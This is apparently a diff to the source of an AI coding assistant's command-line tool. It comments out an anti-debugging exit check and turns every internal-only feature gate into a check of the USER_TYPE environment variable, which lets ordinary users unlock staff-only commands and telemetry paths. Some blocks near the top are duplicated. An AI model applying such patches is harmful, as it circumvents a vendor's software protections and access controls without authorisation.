||||
const { exitWithError } = await import('../utils/process.js');
|
||||
exitWithError(result.error);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// For all other paths, load the startup profiler
|
||||
const { profileCheckpoint } = await import("../utils/startupProfiler.js");
|
||||
profileCheckpoint("cli_entry");
|
||||
// Redirect common update flag mistakes to the update subcommand
|
||||
if (args.length === 1 && (args[0] === '--update' || args[0] === '--upgrade')) {
|
||||
process.argv = [process.argv[0]!, process.argv[1]!, 'update'];
|
||||
}
|
||||
|
||||
// Fast-path for --dump-system-prompt: output the rendered system prompt and exit.
|
||||
// Used by prompt sensitivity evals to extract the system prompt at a specific commit.
|
||||
// Ant-only: eliminated from external builds via feature flag.
|
||||
if (feature("DUMP_SYSTEM_PROMPT") && args[0] === "--dump-system-prompt") {
|
||||
profileCheckpoint("cli_dump_system_prompt_path");
|
||||
const { enableConfigs } = await import("../utils/config.js");
|
||||
enableConfigs();
|
||||
const { getMainLoopModel } = await import("../utils/model/model.js");
|
||||
const modelIdx = args.indexOf("--model");
|
||||
const model =
|
||||
(modelIdx !== -1 && args[modelIdx + 1]) || getMainLoopModel();
|
||||
const { getSystemPrompt } = await import("../constants/prompts.js");
|
||||
const prompt = await getSystemPrompt([], model);
|
||||
// biome-ignore lint/suspicious/noConsole:: intentional console output
|
||||
console.log(prompt.join("\n"));
|
||||
return;
|
||||
}
|
||||
if (process.argv[2] === "--claude-in-chrome-mcp") {
|
||||
profileCheckpoint("cli_claude_in_chrome_mcp_path");
|
||||
const { runClaudeInChromeMcpServer } =
|
||||
await import("../utils/claudeInChrome/mcpServer.js");
|
||||
await runClaudeInChromeMcpServer();
|
||||
return;
|
||||
} else if (process.argv[2] === "--chrome-native-host") {
|
||||
profileCheckpoint("cli_chrome_native_host_path");
|
||||
const { runChromeNativeHost } =
|
||||
await import("../utils/claudeInChrome/chromeNativeHost.js");
|
||||
await runChromeNativeHost();
|
||||
return;
|
||||
} else if (
|
||||
feature("CHICAGO_MCP") &&
|
||||
process.argv[2] === "--computer-use-mcp"
|
||||
) {
|
||||
profileCheckpoint("cli_computer_use_mcp_path");
|
||||
const { runComputerUseMcpServer } =
|
||||
await import("../utils/computerUse/mcpServer.js");
|
||||
await runComputerUseMcpServer();
|
||||
return;
|
||||
}
|
||||
// --bare: set SIMPLE early so gates fire during module eval / commander
|
||||
// option building (not just inside the action handler).
|
||||
if (args.includes('--bare')) {
|
||||
process.env.CLAUDE_CODE_SIMPLE = '1';
|
||||
}
|
||||
|
||||
// Fast-path for `--daemon-worker=<kind>` (internal — supervisor spawns this).
|
||||
// Must come before the daemon subcommand check: spawned per-worker, so
|
||||
// perf-sensitive. No enableConfigs(), no analytics sinks at this layer —
|
||||
// workers are lean. If a worker kind needs configs/auth (assistant will),
|
||||
// it calls them inside its run() fn.
|
||||
if (feature("DAEMON") && args[0] === "--daemon-worker") {
|
||||
const { runDaemonWorker } = await import("../daemon/workerRegistry.js");
|
||||
await runDaemonWorker(args[1]);
|
||||
return;
|
||||
}
|
||||
|
||||
// Fast-path for `claude remote-control` (also accepts legacy `claude remote` / `claude sync` / `claude bridge`):
|
||||
// serve local machine as bridge environment.
|
||||
// feature() must stay inline for build-time dead code elimination;
|
||||
// isBridgeEnabled() checks the runtime GrowthBook gate.
|
||||
if (
|
||||
feature("BRIDGE_MODE") &&
|
||||
(args[0] === "remote-control" ||
|
||||
args[0] === "rc" ||
|
||||
args[0] === "remote" ||
|
||||
args[0] === "sync" ||
|
||||
args[0] === "bridge")
|
||||
) {
|
||||
profileCheckpoint("cli_bridge_path");
|
||||
const { enableConfigs } = await import("../utils/config.js");
|
||||
enableConfigs();
|
||||
const { getBridgeDisabledReason, checkBridgeMinVersion } =
|
||||
await import("../bridge/bridgeEnabled.js");
|
||||
const { BRIDGE_LOGIN_ERROR } = await import("../bridge/types.js");
|
||||
const { bridgeMain } = await import("../bridge/bridgeMain.js");
|
||||
const { exitWithError } = await import("../utils/process.js");
|
||||
|
||||
// Auth check must come before the GrowthBook gate check — without auth,
|
||||
// GrowthBook has no user context and would return a stale/default false.
|
||||
// getBridgeDisabledReason awaits GB init, so the returned value is fresh
|
||||
// (not the stale disk cache), but init still needs auth headers to work.
|
||||
const { getClaudeAIOAuthTokens } = await import("../utils/auth.js");
|
||||
if (!getClaudeAIOAuthTokens()?.accessToken) {
|
||||
exitWithError(BRIDGE_LOGIN_ERROR);
|
||||
}
|
||||
const disabledReason = await getBridgeDisabledReason();
|
||||
if (disabledReason) {
|
||||
exitWithError(`Error: ${disabledReason}`);
|
||||
}
|
||||
const versionError = checkBridgeMinVersion();
|
||||
if (versionError) {
|
||||
exitWithError(versionError);
|
||||
}
|
||||
|
||||
// Bridge is a remote control feature - check policy limits
|
||||
const { waitForPolicyLimitsToLoad, isPolicyAllowed } =
|
||||
await import("../services/policyLimits/index.js");
|
||||
await waitForPolicyLimitsToLoad();
|
||||
if (!isPolicyAllowed("allow_remote_control")) {
|
||||
exitWithError(
|
||||
"Error: Remote Control is disabled by your organization's policy.",
|
||||
);
|
||||
}
|
||||
await bridgeMain(args.slice(1));
|
||||
return;
|
||||
}
|
||||
|
||||
// Fast-path for `claude daemon [subcommand]`: long-running supervisor.
|
||||
if (feature("DAEMON") && args[0] === "daemon") {
|
||||
profileCheckpoint("cli_daemon_path");
|
||||
const { enableConfigs } = await import("../utils/config.js");
|
||||
enableConfigs();
|
||||
const { initSinks } = await import("../utils/sinks.js");
|
||||
initSinks();
|
||||
const { daemonMain } = await import("../daemon/main.js");
|
||||
await daemonMain(args.slice(1));
|
||||
return;
|
||||
}
|
||||
|
||||
// Fast-path for `claude ps|logs|attach|kill` and `--bg`/`--background`.
|
||||
// Session management against the ~/.claude/sessions/ registry. Flag
|
||||
// literals are inlined so bg.js only loads when actually dispatching.
|
||||
if (
|
||||
feature("BG_SESSIONS") &&
|
||||
(args[0] === "ps" ||
|
||||
args[0] === "logs" ||
|
||||
args[0] === "attach" ||
|
||||
args[0] === "kill" ||
|
||||
args.includes("--bg") ||
|
||||
args.includes("--background"))
|
||||
) {
|
||||
profileCheckpoint("cli_bg_path");
|
||||
const { enableConfigs } = await import("../utils/config.js");
|
||||
enableConfigs();
|
||||
const bg = await import("../cli/bg.js");
|
||||
switch (args[0]) {
|
||||
case "ps":
|
||||
await bg.psHandler(args.slice(1));
|
||||
break;
|
||||
case "logs":
|
||||
await bg.logsHandler(args[1]);
|
||||
break;
|
||||
case "attach":
|
||||
await bg.attachHandler(args[1]);
|
||||
break;
|
||||
case "kill":
|
||||
await bg.killHandler(args[1]);
|
||||
break;
|
||||
default:
|
||||
await bg.handleBgFlag(args);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// Fast-path for template job commands.
|
||||
if (
|
||||
feature("TEMPLATES") &&
|
||||
(args[0] === "new" || args[0] === "list" || args[0] === "reply")
|
||||
) {
|
||||
profileCheckpoint("cli_templates_path");
|
||||
const { templatesMain } =
|
||||
await import("../cli/handlers/templateJobs.js");
|
||||
await templatesMain(args);
|
||||
// process.exit (not return) — mountFleetView's Ink TUI can leave event
|
||||
// loop handles that prevent natural exit.
|
||||
// eslint-disable-next-line custom-rules/no-process-exit
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
// Fast-path for `claude environment-runner`: headless BYOC runner.
|
||||
// feature() must stay inline for build-time dead code elimination.
|
||||
if (
|
||||
feature("BYOC_ENVIRONMENT_RUNNER") &&
|
||||
args[0] === "environment-runner"
|
||||
) {
|
||||
profileCheckpoint("cli_environment_runner_path");
|
||||
const { environmentRunnerMain } =
|
||||
await import("../environment-runner/main.js");
|
||||
await environmentRunnerMain(args.slice(1));
|
||||
return;
|
||||
}
|
||||
|
||||
// Fast-path for `claude self-hosted-runner`: headless self-hosted-runner
|
||||
// targeting the SelfHostedRunnerWorkerService API (register + poll; poll IS
|
||||
// heartbeat). feature() must stay inline for build-time dead code elimination.
|
||||
if (feature("SELF_HOSTED_RUNNER") && args[0] === "self-hosted-runner") {
|
||||
profileCheckpoint("cli_self_hosted_runner_path");
|
||||
const { selfHostedRunnerMain } =
|
||||
await import("../self-hosted-runner/main.js");
|
||||
await selfHostedRunnerMain(args.slice(1));
|
||||
return;
|
||||
}
|
||||
|
||||
// Fast-path for --worktree --tmux: exec into tmux before loading full CLI
|
||||
const hasTmuxFlag =
|
||||
args.includes("--tmux") || args.includes("--tmux=classic");
|
||||
if (
|
||||
hasTmuxFlag &&
|
||||
(args.includes("-w") ||
|
||||
args.includes("--worktree") ||
|
||||
args.some((a) => a.startsWith("--worktree=")))
|
||||
) {
|
||||
profileCheckpoint("cli_tmux_worktree_fast_path");
|
||||
const { enableConfigs } = await import("../utils/config.js");
|
||||
enableConfigs();
|
||||
const { isWorktreeModeEnabled } =
|
||||
await import("../utils/worktreeModeEnabled.js");
|
||||
if (isWorktreeModeEnabled()) {
|
||||
const { execIntoTmuxWorktree } =
|
||||
await import("../utils/worktree.js");
|
||||
const result = await execIntoTmuxWorktree(args);
|
||||
if (result.handled) {
|
||||
return;
|
||||
}
|
||||
// If not handled (e.g., error), fall through to normal CLI
|
||||
if (result.error) {
|
||||
const { exitWithError } = await import("../utils/process.js");
|
||||
exitWithError(result.error);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Redirect common update flag mistakes to the update subcommand
|
||||
if (
|
||||
args.length === 1 &&
|
||||
(args[0] === "--update" || args[0] === "--upgrade")
|
||||
) {
|
||||
process.argv = [process.argv[0]!, process.argv[1]!, "update"];
|
||||
}
|
||||
|
||||
// --bare: set SIMPLE early so gates fire during module eval / commander
|
||||
// option building (not just inside the action handler).
|
||||
if (args.includes("--bare")) {
|
||||
process.env.CLAUDE_CODE_SIMPLE = "1";
|
||||
}
|
||||
|
||||
// No special flags detected, load and run the full CLI
|
||||
const { startCapturingEarlyInput } = await import("../utils/earlyInput.js");
|
||||
startCapturingEarlyInput();
|
||||
profileCheckpoint("cli_before_main_import");
|
||||
const { main: cliMain } = await import("../main.jsx");
|
||||
profileCheckpoint("cli_after_main_import");
|
||||
await cliMain();
|
||||
profileCheckpoint("cli_after_main_complete");
|
||||
// No special flags detected, load and run the full CLI
|
||||
const { startCapturingEarlyInput } = await import('../utils/earlyInput.js');
|
||||
startCapturingEarlyInput();
|
||||
profileCheckpoint('cli_before_main_import');
|
||||
const { main: cliMain } = await import('../main.jsx');
|
||||
profileCheckpoint('cli_after_main_import');
|
||||
await cliMain();
|
||||
profileCheckpoint('cli_after_main_complete');
|
||||
}
|
||||
|
||||
// eslint-disable-next-line custom-rules/no-top-level-side-effects
|
||||
|
||||
47
src/main.tsx
47
src/main.tsx
@@ -262,13 +262,10 @@ function isBeingDebugged() {
|
||||
}
|
||||
}
|
||||
|
||||
// Exit if we detect node debugging or inspection
|
||||
if (("external" as string) !== 'ant' && isBeingDebugged()) {
|
||||
// Use process.exit directly here since we're in the top-level code before imports
|
||||
// and gracefulShutdown is not yet available
|
||||
// eslint-disable-next-line custom-rules/no-top-level-side-effects
|
||||
process.exit(1);
|
||||
}
|
||||
// Anti-debugging check disabled for local development
|
||||
// if ((process.env.USER_TYPE) !== 'ant' && isBeingDebugged()) {
|
||||
// process.exit(1);
|
||||
// }
|
||||
|
||||
/**
|
||||
* Per-session skill/plugin telemetry. Called from both the interactive path
|
||||
@@ -337,7 +334,7 @@ function runMigrations(): void {
|
||||
if (feature('TRANSCRIPT_CLASSIFIER')) {
|
||||
resetAutoModeOptInForDefaultOffer();
|
||||
}
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
migrateFennecToOpus();
|
||||
}
|
||||
saveGlobalConfig(prev => prev.migrationVersion === CURRENT_MIGRATION_VERSION ? prev : {
|
||||
@@ -425,7 +422,7 @@ export function startDeferredPrefetches(): void {
|
||||
}
|
||||
|
||||
// Event loop stall detector — logs when the main thread is blocked >500ms
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
void import('./utils/eventLoopStallDetector.js').then(m => m.startEventLoopStallDetector());
|
||||
}
|
||||
}
|
||||
@@ -1134,11 +1131,11 @@ async function run(): Promise<CommanderCommand> {
|
||||
const disableSlashCommands = options.disableSlashCommands || false;
|
||||
|
||||
// Extract tasks mode options (ant-only)
|
||||
const tasksOption = ("external" as string) === 'ant' && (options as {
|
||||
const tasksOption = (process.env.USER_TYPE) === 'ant' && (options as {
|
||||
tasks?: boolean | string;
|
||||
}).tasks;
|
||||
const taskListId = tasksOption ? typeof tasksOption === 'string' ? tasksOption : DEFAULT_TASKS_MODE_TASK_LIST_ID : undefined;
|
||||
if (("external" as string) === 'ant' && taskListId) {
|
||||
if ((process.env.USER_TYPE) === 'ant' && taskListId) {
|
||||
process.env.CLAUDE_CODE_TASK_LIST_ID = taskListId;
|
||||
}
|
||||
|
||||
@@ -1528,7 +1525,7 @@ async function run(): Promise<CommanderCommand> {
|
||||
};
|
||||
// Store the explicit CLI flag so teammates can inherit it
|
||||
setChromeFlagOverride(chromeOpts.chrome);
|
||||
const enableClaudeInChrome = shouldEnableClaudeInChrome(chromeOpts.chrome) && (("external" as string) === 'ant' || isClaudeAISubscriber());
|
||||
const enableClaudeInChrome = shouldEnableClaudeInChrome(chromeOpts.chrome) && ((process.env.USER_TYPE) === 'ant' || isClaudeAISubscriber());
|
||||
const autoEnableClaudeInChrome = !enableClaudeInChrome && shouldAutoEnableClaudeInChrome();
|
||||
if (enableClaudeInChrome) {
|
||||
const platform = getPlatform();
|
||||
@@ -1760,7 +1757,7 @@ async function run(): Promise<CommanderCommand> {
|
||||
} = initResult;
|
||||
|
||||
// Handle overly broad shell allow rules for ant users (Bash(*), PowerShell(*))
|
||||
if (("external" as string) === 'ant' && overlyBroadBashPermissions.length > 0) {
|
||||
if ((process.env.USER_TYPE) === 'ant' && overlyBroadBashPermissions.length > 0) {
|
||||
for (const permission of overlyBroadBashPermissions) {
|
||||
logForDebugging(`Ignoring overly broad shell permission ${permission.ruleDisplay} from ${permission.sourceDisplay}`);
|
||||
}
|
||||
@@ -2010,7 +2007,7 @@ async function run(): Promise<CommanderCommand> {
|
||||
// - no env override (which short-circuits _CACHED_MAY_BE_STALE before disk)
|
||||
// - flag absent from disk (== null also catches pre-#22279 poisoned null)
|
||||
const explicitModel = options.model || process.env.ANTHROPIC_MODEL;
|
||||
if (("external" as string) === 'ant' && explicitModel && explicitModel !== 'default' && !hasGrowthBookEnvOverride('tengu_ant_model_override') && getGlobalConfig().cachedGrowthBookFeatures?.['tengu_ant_model_override'] == null) {
|
||||
if ((process.env.USER_TYPE) === 'ant' && explicitModel && explicitModel !== 'default' && !hasGrowthBookEnvOverride('tengu_ant_model_override') && getGlobalConfig().cachedGrowthBookFeatures?.['tengu_ant_model_override'] == null) {
|
||||
await initializeGrowthBook();
|
||||
}
|
||||
|
||||
@@ -2156,7 +2153,7 @@ async function run(): Promise<CommanderCommand> {
|
||||
// Log agent memory loaded event for tmux teammates
|
||||
if (customAgent.memory) {
|
||||
logEvent('tengu_agent_memory_loaded', {
|
||||
...(("external" as string) === 'ant' && {
|
||||
...((process.env.USER_TYPE) === 'ant' && {
|
||||
agent_type: customAgent.agentType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
|
||||
}),
|
||||
scope: customAgent.memory as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
||||
@@ -2220,7 +2217,7 @@ async function run(): Promise<CommanderCommand> {
|
||||
getFpsMetrics = ctx.getFpsMetrics;
|
||||
stats = ctx.stats;
|
||||
// Install asciicast recorder before Ink mounts (ant-only, opt-in via CLAUDE_CODE_TERMINAL_RECORDING=1)
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
installAsciicastRecorder();
|
||||
}
|
||||
const {
|
||||
@@ -2816,7 +2813,7 @@ async function run(): Promise<CommanderCommand> {
|
||||
if (!isBareMode()) {
|
||||
startDeferredPrefetches();
|
||||
void import('./utils/backgroundHousekeeping.js').then(m => m.startBackgroundHousekeeping());
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
void import('./utils/sdkHeapDumpMonitor.js').then(m => m.startSdkMemoryMonitor());
|
||||
}
|
||||
}
|
||||
@@ -3061,7 +3058,7 @@ async function run(): Promise<CommanderCommand> {
|
||||
// - Runtime: uploader checks github.com/anthropics/* remote + gcloud auth.
|
||||
// - Safety: CLAUDE_CODE_DISABLE_SESSION_DATA_UPLOAD=1 bypasses (tests set this).
|
||||
// Import is dynamic + async to avoid adding startup latency.
|
||||
const sessionUploaderPromise = ("external" as string) === 'ant' ? import('./utils/sessionDataUploader.js') : null;
|
||||
const sessionUploaderPromise = (process.env.USER_TYPE) === 'ant' ? import('./utils/sessionDataUploader.js') : null;
|
||||
|
||||
// Defer session uploader resolution to the onTurnComplete callback to avoid
|
||||
// adding a new top-level await in main.tsx (performance-critical path).
|
||||
@@ -3578,7 +3575,7 @@ async function run(): Promise<CommanderCommand> {
|
||||
}
|
||||
}
|
||||
}
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
if (options.resume && typeof options.resume === 'string' && !maybeSessionId) {
|
||||
// Check for ccshare URL (e.g. https://go/ccshare/boris-20260311-211036)
|
||||
const {
|
||||
@@ -3813,7 +3810,7 @@ async function run(): Promise<CommanderCommand> {
|
||||
if (canUserConfigureAdvisor()) {
|
||||
program.addOption(new Option('--advisor <model>', 'Enable the server-side advisor tool with the specified model (alias or full ID).').hideHelp());
|
||||
}
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
program.addOption(new Option('--delegate-permissions', '[ANT-ONLY] Alias for --permission-mode auto.').implies({
|
||||
permissionMode: 'auto'
|
||||
}));
|
||||
@@ -4367,7 +4364,7 @@ async function run(): Promise<CommanderCommand> {
|
||||
});
|
||||
|
||||
// claude up — run the project's CLAUDE.md "# claude up" setup instructions.
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
program.command('up').description('[ANT-ONLY] Initialize or upgrade the local dev environment using the "# claude up" section of the nearest CLAUDE.md').action(async () => {
|
||||
const {
|
||||
up
|
||||
@@ -4378,7 +4375,7 @@ async function run(): Promise<CommanderCommand> {
|
||||
|
||||
// claude rollback (ant-only)
|
||||
// Rolls back to previous releases
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
program.command('rollback [target]').description('[ANT-ONLY] Roll back to a previous release\n\nExamples:\n claude rollback Go 1 version back from current\n claude rollback 3 Go 3 versions back from current\n claude rollback 2.0.73-dev.20251217.t190658 Roll back to a specific version').option('-l, --list', 'List recent published versions with ages').option('--dry-run', 'Show what would be installed without installing').option('--safe', 'Roll back to the server-pinned safe version (set by oncall during incidents)').action(async (target?: string, options?: {
|
||||
list?: boolean;
|
||||
dryRun?: boolean;
|
||||
@@ -4402,7 +4399,7 @@ async function run(): Promise<CommanderCommand> {
|
||||
});
|
||||
|
||||
// ant-only commands
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
const validateLogId = (value: string) => {
|
||||
const maybeSessionId = validateUuid(value);
|
||||
if (maybeSessionId) return maybeSessionId;
|
||||
@@ -4436,7 +4433,7 @@ Examples:
|
||||
} = await import('./cli/handlers/ant.js');
|
||||
await exportHandler(source, outputFile);
|
||||
});
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
const taskCmd = program.command('task').description('[ANT-ONLY] Manage task list tasks');
|
||||
taskCmd.command('create <subject>').description('Create a new task').option('-d, --description <text>', 'Task description').option('-l, --list <id>', 'Task list ID (defaults to "tasklist")').action(async (subject: string, opts: {
|
||||
description?: string;
|
||||
@@ -4595,7 +4592,7 @@ async function logTenguInit({
|
||||
assistantActivationPath: assistantActivationPath as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
|
||||
}),
|
||||
autoUpdatesChannel: (getInitialSettings().autoUpdatesChannel ?? 'latest') as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
||||
...(("external" as string) === 'ant' ? (() => {
|
||||
...((process.env.USER_TYPE) === 'ant' ? (() => {
|
||||
const cwd = getCwd();
|
||||
const gitRoot = findGitRoot(cwd);
|
||||
const rp = gitRoot ? relative(gitRoot, cwd) || '.' : undefined;
|
||||
|
||||
@@ -104,13 +104,13 @@ const VoiceKeybindingHandler: typeof import('../hooks/useVoiceIntegration.js').V
|
||||
// Frustration detection is ant-only (dogfooding). Conditional require so external
|
||||
// builds eliminate the module entirely (including its two O(n) useMemos that run
|
||||
// on every messages change, plus the GrowthBook fetch).
|
||||
const useFrustrationDetection: typeof import('../components/FeedbackSurvey/useFrustrationDetection.js').useFrustrationDetection = ("external" as string) === 'ant' ? require('../components/FeedbackSurvey/useFrustrationDetection.js').useFrustrationDetection : () => ({
|
||||
const useFrustrationDetection: typeof import('../components/FeedbackSurvey/useFrustrationDetection.js').useFrustrationDetection = (process.env.USER_TYPE) === 'ant' ? require('../components/FeedbackSurvey/useFrustrationDetection.js').useFrustrationDetection : () => ({
|
||||
state: 'closed',
|
||||
handleTranscriptSelect: () => {}
|
||||
});
|
||||
// Ant-only org warning. Conditional require so the org UUID list is
|
||||
// eliminated from external builds (one UUID is on excluded-strings).
|
||||
const useAntOrgWarningNotification: typeof import('../hooks/notifs/useAntOrgWarningNotification.js').useAntOrgWarningNotification = ("external" as string) === 'ant' ? require('../hooks/notifs/useAntOrgWarningNotification.js').useAntOrgWarningNotification : () => {};
|
||||
const useAntOrgWarningNotification: typeof import('../hooks/notifs/useAntOrgWarningNotification.js').useAntOrgWarningNotification = (process.env.USER_TYPE) === 'ant' ? require('../hooks/notifs/useAntOrgWarningNotification.js').useAntOrgWarningNotification : () => {};
|
||||
// Dead code elimination: conditional import for coordinator mode
|
||||
const getCoordinatorUserContext: (mcpClients: ReadonlyArray<{
|
||||
name: string;
|
||||
@@ -219,9 +219,9 @@ import { EffortCallout, shouldShowEffortCallout } from '../components/EffortCall
|
||||
import type { EffortValue } from '../utils/effort.js';
|
||||
import { RemoteCallout } from '../components/RemoteCallout.js';
|
||||
/* eslint-disable custom-rules/no-process-env-top-level, @typescript-eslint/no-require-imports */
|
||||
const AntModelSwitchCallout = ("external" as string) === 'ant' ? require('../components/AntModelSwitchCallout.js').AntModelSwitchCallout : null;
|
||||
const shouldShowAntModelSwitch = ("external" as string) === 'ant' ? require('../components/AntModelSwitchCallout.js').shouldShowModelSwitchCallout : (): boolean => false;
|
||||
const UndercoverAutoCallout = ("external" as string) === 'ant' ? require('../components/UndercoverAutoCallout.js').UndercoverAutoCallout : null;
|
||||
const AntModelSwitchCallout = (process.env.USER_TYPE) === 'ant' ? require('../components/AntModelSwitchCallout.js').AntModelSwitchCallout : null;
|
||||
const shouldShowAntModelSwitch = (process.env.USER_TYPE) === 'ant' ? require('../components/AntModelSwitchCallout.js').shouldShowModelSwitchCallout : (): boolean => false;
|
||||
const UndercoverAutoCallout = (process.env.USER_TYPE) === 'ant' ? require('../components/UndercoverAutoCallout.js').UndercoverAutoCallout : null;
|
||||
/* eslint-enable custom-rules/no-process-env-top-level, @typescript-eslint/no-require-imports */
|
||||
import { activityManager } from '../utils/activityManager.js';
|
||||
import { createAbortController } from '../utils/abortController.js';
|
||||
@@ -602,7 +602,7 @@ export function REPL({
|
||||
// Env-var gates hoisted to mount-time — isEnvTruthy does toLowerCase+trim+
|
||||
// includes, and these were on the render path (hot during PageUp spam).
|
||||
const titleDisabled = useMemo(() => isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_TERMINAL_TITLE), []);
|
||||
const moreRightEnabled = useMemo(() => ("external" as string) === 'ant' && isEnvTruthy(process.env.CLAUDE_MORERIGHT), []);
|
||||
const moreRightEnabled = useMemo(() => (process.env.USER_TYPE) === 'ant' && isEnvTruthy(process.env.CLAUDE_MORERIGHT), []);
|
||||
const disableVirtualScroll = useMemo(() => isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_VIRTUAL_SCROLL), []);
|
||||
const disableMessageActions = feature('MESSAGE_ACTIONS') ?
|
||||
// biome-ignore lint/correctness/useHookAtTopLevel: feature() is a compile-time constant
|
||||
@@ -734,7 +734,7 @@ export function REPL({
|
||||
const [showIdeOnboarding, setShowIdeOnboarding] = useState(false);
|
||||
// Dead code elimination: model switch callout state (ant-only)
|
||||
const [showModelSwitchCallout, setShowModelSwitchCallout] = useState(() => {
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
return shouldShowAntModelSwitch();
|
||||
}
|
||||
return false;
|
||||
@@ -1013,7 +1013,7 @@ export function REPL({
|
||||
}, []);
|
||||
const [showUndercoverCallout, setShowUndercoverCallout] = useState(false);
|
||||
useEffect(() => {
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
void (async () => {
|
||||
// Wait for repo classification to settle (memoized, no-op if primed).
|
||||
const {
|
||||
@@ -2045,10 +2045,10 @@ export function REPL({
|
||||
if (allowDialogsWithAnimation && showIdeOnboarding) return 'ide-onboarding';
|
||||
|
||||
// Model switch callout (ant-only, eliminated from external builds)
|
||||
if (("external" as string) === 'ant' && allowDialogsWithAnimation && showModelSwitchCallout) return 'model-switch';
|
||||
if ((process.env.USER_TYPE) === 'ant' && allowDialogsWithAnimation && showModelSwitchCallout) return 'model-switch';
|
||||
|
||||
// Undercover auto-enable explainer (ant-only, eliminated from external builds)
|
||||
if (("external" as string) === 'ant' && allowDialogsWithAnimation && showUndercoverCallout) return 'undercover-callout';
|
||||
if ((process.env.USER_TYPE) === 'ant' && allowDialogsWithAnimation && showUndercoverCallout) return 'undercover-callout';
|
||||
|
||||
// Effort callout (shown once for Opus 4.6 users when effort is enabled)
|
||||
if (allowDialogsWithAnimation && showEffortCallout) return 'effort-callout';
|
||||
@@ -2486,7 +2486,7 @@ export function REPL({
|
||||
dynamicSkillDirTriggers: new Set<string>(),
|
||||
discoveredSkillNames: discoveredSkillNamesRef.current,
|
||||
setResponseLength,
|
||||
pushApiMetricsEntry: ("external" as string) === 'ant' ? (ttftMs: number) => {
|
||||
pushApiMetricsEntry: (process.env.USER_TYPE) === 'ant' ? (ttftMs: number) => {
|
||||
const now = Date.now();
|
||||
const baseline = responseLengthRef.current;
|
||||
apiMetricsRef.current.push({
|
||||
@@ -2815,7 +2815,7 @@ export function REPL({
|
||||
|
||||
// Capture ant-only API metrics before resetLoadingState clears the ref.
|
||||
// For multi-request turns (tool use loops), compute P50 across all requests.
|
||||
if (("external" as string) === 'ant' && apiMetricsRef.current.length > 0) {
|
||||
if ((process.env.USER_TYPE) === 'ant' && apiMetricsRef.current.length > 0) {
|
||||
const entries = apiMetricsRef.current;
|
||||
const ttfts = entries.map(e => e.ttftMs);
|
||||
// Compute per-request OTPS using only active streaming time and
|
||||
@@ -2943,7 +2943,7 @@ export function REPL({
|
||||
// minutes — wiping the session made the pill disappear entirely, forcing
|
||||
// the user to re-invoke Tmux just to peek. Skip on abort so the panel
|
||||
// stays open for inspection (matches the turn-duration guard below).
|
||||
if (("external" as string) === 'ant' && !abortController.signal.aborted) {
|
||||
if ((process.env.USER_TYPE) === 'ant' && !abortController.signal.aborted) {
|
||||
setAppState(prev => {
|
||||
if (prev.tungstenActiveSession === undefined) return prev;
|
||||
if (prev.tungstenPanelAutoHidden === true) return prev;
|
||||
@@ -3066,7 +3066,7 @@ export function REPL({
|
||||
}
|
||||
|
||||
// Atomically: clear initial message, set permission mode and rules, and store plan for verification
|
||||
const shouldStorePlanForVerification = initialMsg.message.planContent && ("external" as string) === 'ant' && isEnvTruthy(undefined);
|
||||
const shouldStorePlanForVerification = initialMsg.message.planContent && (process.env.USER_TYPE) === 'ant' && isEnvTruthy(undefined);
|
||||
setAppState(prev => {
|
||||
// Build and apply permission updates (mode + allowedPrompts rules)
|
||||
let updatedToolPermissionContext = initialMsg.mode ? applyPermissionUpdates(prev.toolPermissionContext, buildPermissionUpdates(initialMsg.mode, initialMsg.allowedPrompts)) : prev.toolPermissionContext;
|
||||
@@ -3599,7 +3599,7 @@ export function REPL({
|
||||
|
||||
// Handler for when user presses 1 on survey thanks screen to share details
|
||||
const handleSurveyRequestFeedback = useCallback(() => {
|
||||
const command = ("external" as string) === 'ant' ? '/issue' : '/feedback';
|
||||
const command = (process.env.USER_TYPE) === 'ant' ? '/issue' : '/feedback';
|
||||
onSubmit(command, {
|
||||
setCursorOffset: () => {},
|
||||
clearBuffer: () => {},
|
||||
@@ -4060,7 +4060,7 @@ export function REPL({
|
||||
// - Workers receive permission responses via mailbox messages
|
||||
// - Leaders receive permission requests via mailbox messages
|
||||
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
// Tasks mode: watch for tasks and auto-process them
|
||||
// eslint-disable-next-line react-hooks/rules-of-hooks
|
||||
// biome-ignore lint/correctness/useHookAtTopLevel: conditional for dead code elimination in external builds
|
||||
@@ -4169,7 +4169,7 @@ export function REPL({
|
||||
|
||||
// Fall back to default behavior
|
||||
const hookType = currentHooks[0]?.data.hookEvent === 'SubagentStop' ? 'subagent stop' : 'stop';
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
const cmd = currentHooks[completedCount]?.data.command;
|
||||
